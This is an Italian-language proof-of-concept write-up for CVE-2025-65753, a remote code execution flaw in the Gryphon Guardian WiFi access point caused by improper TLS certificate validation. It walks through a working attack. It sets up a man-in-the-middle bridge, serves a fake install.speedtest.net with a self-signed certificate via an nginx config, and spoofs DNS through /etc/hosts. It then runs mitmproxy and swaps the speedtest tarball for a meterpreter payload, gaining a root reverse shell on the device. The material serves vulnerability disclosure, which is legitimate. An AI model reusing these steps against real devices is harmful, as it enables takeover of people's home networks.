
Exploit proof-of-concept per CVE-2025-65753: esecuzione remota di codice su access point Gryphon Guardian tramite una validazione impropria del certificato TLS, consentendo attacchi MitM e DNS spoofing.
Proof of concept per CVE-2025-65753: Esecuzione di codice remoto sul punto di accesso Gryphon Guardian, versione firmware 01.06.0006.22, attraverso una validazione impropria del certificato TLS.
Il punto di accesso WiFi Gryphon Guardian, con versione firmware 01.06.0006.22, non valida correttamente il certificato TLS di un client speedtest internet scaricato dopo averlo richiesto tramite l'app. Questa falla consente a un attaccante di intercettare e manipolare la comunicazione, iniettando nel client codice malevolo che viene successivamente eseguito come root dal punto di accesso.
Ci sono 2 modi per sfruttare questa vulnerabilità:
Ai fini di questo PoC, il traffico dal punto di accesso viene instradato attraverso il computer dell'attaccante (sostanzialmente un attacco MitM), creando un bridge tra 2 interfacce di rete, come mostrato in questo diagramma.

Per fare ciò, reindirizzando anche il traffico TCP sulla porta locale 9900 per l'analisi, ho utilizzato il mio strumento: https://github.com/diegovargasj/bridge-interfaces

Successivamente, ho usato lo strumento certmitm di aapooksman (https://github.com/aapooksman/certmitm) per analizzare le connessioni TLS e distribuire automaticamente molteplici attacchi per testare la validazione del certificato. Questo rivela diverse vulnerabilità su vari server. Quello che ha attirato la mia attenzione è stato il download del client speedtest da , che può essere intercettato con un semplice certificato autofirmato.

Il tarball contiene un ELF compilato per ARM a 32 bit, che chiaramente viene scaricato, decompresso ed eseguito dal dispositivo.

Il dispositivo non valida il certificato TLS per autenticità, poiché accetta volentieri un semplice certificato autofirmato. Quindi, distribuendo un server HTTPS e spoofando le risposte DNS per install.speedtest.net, puoi servire qualsiasi eseguibile tu scelga. Per farlo, basta usare la seguente configurazione nginx:
server {
listen 443 ssl default_server;
server_name install.speedtest.net;
ssl_certificate /path/to/self_signed_cert.pem;
ssl_certificate_key /path/to/self_signed_key.pem;
root /path/to/webroot;
}
Successivamente, aggiungi la seguente riga al tuo file /etc/hosts, per spoofare le risposte DNS tramite dnsmasq.
192.168.0.15 install.speedtest.net
Infine, riavvia lo script bridge-interfaces.sh, uccidi certmitm.py ed esegui mitmproxy:
mitmproxy --listen-host 192.168.0.15 --listen-port 9900 --mode transparent -k
Ora abbiamo solo bisogno del payload. Poiché il punto di accesso ha Python installato, uno script meterpreter semplice sarà sufficiente. Crea lo script con msfvenom:

Sostituisci l'ELF originale del client speedtest con uno script bash per chiamare il payload:
python payload.py
E impacchettalo in un tarball, con il percorso corretto in modo che corrisponda alla richiesta web a https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz:
tar -czvf ookla-speedtest-1.2.0-linux-armhf.tgz speedtest payload.py
Ora impostiamo il listener meterpreter. Dopo aver avviato lo speedtest dall'app Gryphon, otteniamo la reverse shell come root.

E possiamo eseguire comandi arbitrari all'interno del punto di accesso.
